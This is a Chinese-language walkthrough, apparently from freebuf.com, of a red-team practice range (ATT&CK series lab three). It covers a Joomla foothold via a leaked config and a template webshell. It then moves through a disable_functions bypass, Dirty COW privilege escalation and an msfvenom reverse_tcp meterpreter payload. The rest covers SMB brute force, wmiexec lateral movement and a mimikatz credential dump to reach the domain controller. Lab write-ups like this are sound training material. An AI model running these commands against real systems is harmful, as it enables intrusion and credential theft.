前言
通过以往文章的靶场二,学习了msf免杀上线绕过360、Access Token利用(MSSQL利用)、WMI利用、域漏洞利用、域控信息收集和权限维持(黄金票据利用)。靶场三为黑盒测试,不提供虚拟机账号密码,目标是获取域控的flag文件,一起来看看如何去渗透吧。
环境搭建
ATT&CK实战系列——红队实战(三)是红日安全团队出品的一个实战环境,该靶场模拟真实环境,是个黑盒测试,不提供虚拟机密码。目标是域控中存在一份重要文件。具体的IP配置如下:
web-centos:192.168.93.100 外网:192.168.31.68
web-ubantu:192.168.93.120
win2012:192.168.93.10
win2008:192.168.93.20
win7:192.168.93.30
只有centos是双网卡,其余都是单网卡,将centos网卡eth0设置为自动获取ip
vim /etc/sysconfig/network-scripts/ifcfg-eth0
/etc/init.d/network restart #设置好后重启网络服务
漏洞利用
先对目标ip进行端口扫描发现目标主机开放了22、80、3306端口
访问80端口的网页,发现是用Joomla搭建的网站
先使用dirsearch扫一下目录,发现了1.php是phpinfo文件,Joomla后台登录地址, 配置文件泄漏了数据库的账号密码
试连接一下数据库,成功登录数据库,但是Joomla后台登录的管理员密码解密不出来
Joomla官网有重置管理员密码的操作,执行sql语句来添加一个管理员chan sectret
成功添加账号后登录到后台,通过修改模版来拿shell
访问extensions-templates-templates-beez3,然后new file-新建文件chan.php
使用蚁剑连接成功后,但是执行命令返回的是127
查看1.php文件的配置情况,服务端 disable_functions 禁用了命令执行函数,目标是Linux并且没有禁用putenv函数,所以可以利用LD_PRELOAD绕过
这里直接使用蚁剑的插件,但是连接不上去(tmp目录下成功上传了.so文件网站目录也成功上传
了.antproxy.php文件),不知道为什么。
后面使用PHP7_GC_UAF模式成功执行命令
后面看见师傅用的另一种方法利用LD_PRELOAD绕过,用蚁剑bypass_diablefunc.php和 bypass_diablefunc_x64.so 上传到目标的同一目录,注意 .so 文件需要根据目标系统架构选择,然后访问bypass_diablefunc.php,cmd 是执行的命令,outpath是读写权限的目录,sopath是.so文件的绝对路径
http://192.168.31.168/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so
先进行一些基本的信息收集,发现当前 ip为192.168.93.120并不是centos,内核是ubuntu说明真正的web服务后端在 ubuntu,通过centos做了个nginx反向代理解析到Ubuntu上。
翻下主机的文件发现了/tmp/mysql/test.txt文件存在账户密码
使用ssh连接一下,成功连接,先看一下基本信息
发现Centos内核版本在脏牛提权的范围内,先尝试一下sudo提权和suid提权,发现不行,使用脏牛提权,将dirty.c上传到centos,使用命令gcc -pthread dirty.c -o dirty -lcrypt
切换到firefart用户,提权成功
内网渗透
在kali上生成chan.elf,设置监听,将elf文件上传到centos,执行后攻击机成功获得一个meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.254 LPORT=4444 -f elf > /var/www/html/chan.elf
添加路由进行存活主机探测,或者使用ping命令
run autoroute -s 192.168.93.0/24
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit
for k in $( seq 1 255);do ping -c 1 192.168.93.$k|grep “ttl”|awk -F “[ :]+” ‘{print $4}’; done
发现了三台存活的TEST域的主机
192.168.93.10 windows 2012
192.168.93.20 windows 2008
192.168.93.30 windows 7
使用msf自带的模块进行端口扫描,发现三台主机开放了135、445端口
使用msf自带的ms17-010模块扫描一波,没有发现漏洞
使用msf的模块进行爆破 我这里没有爆破成功,看到其他师傅爆破出来密码是123qwe!ASD
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/top1000.txt
exploit
使用爆破成功的密码进行渗透,使用msf开个sock4正向代理,配合proxychains
使用wmicexec远程连接这两台主机,先进行基本的信息搜集,ipconfig /all知道DNS服务器即域控是192.68.93.10
proxychains python3 wmiexec.py -debug
‘administrator:[email protected]’
proxychainspython3 wmiexec.py -debug
‘administrator:[email protected]’
在windows 2008主机上使用tasklist /v查看进程发现TEST域进程域管理员,尝试抓取其密码
在kali上使用smbclient连接到windows 2008上传mimikatz
wmiexec远程执行mimikatz 成功得到抓取到域管理员密码
mimikatz.exe “privilege::debug” “log” “sekurlsa::logonpasswords” “exit” > log.log
现在已经知道域控的账号密码了,同样的方法使用wmiexec.py脚本进行连接域控,找到flag文件
总结
在搭建靶场时,环境遇到了问题,折腾了很久好在还是解决了。靶场大概情况为centos为出网机,web服务后端在 ubuntu,通过centos做了个nginx反向代理解析到Ubuntu上,域内有三台Windows主机。渗透过程是通过配置文件泄漏了数据库账号密码,从而添加Joomla管理员进入后台上传shell,disable_function的绕过(这个姿势学习到了),然后msf获取一个meterpreter来进行内网渗透,最终拿下域控获取flag。
来源:freebuf.com 2021-07-07 15:41:24 by: 星云博创科技有限公司
请登录后发表评论
注册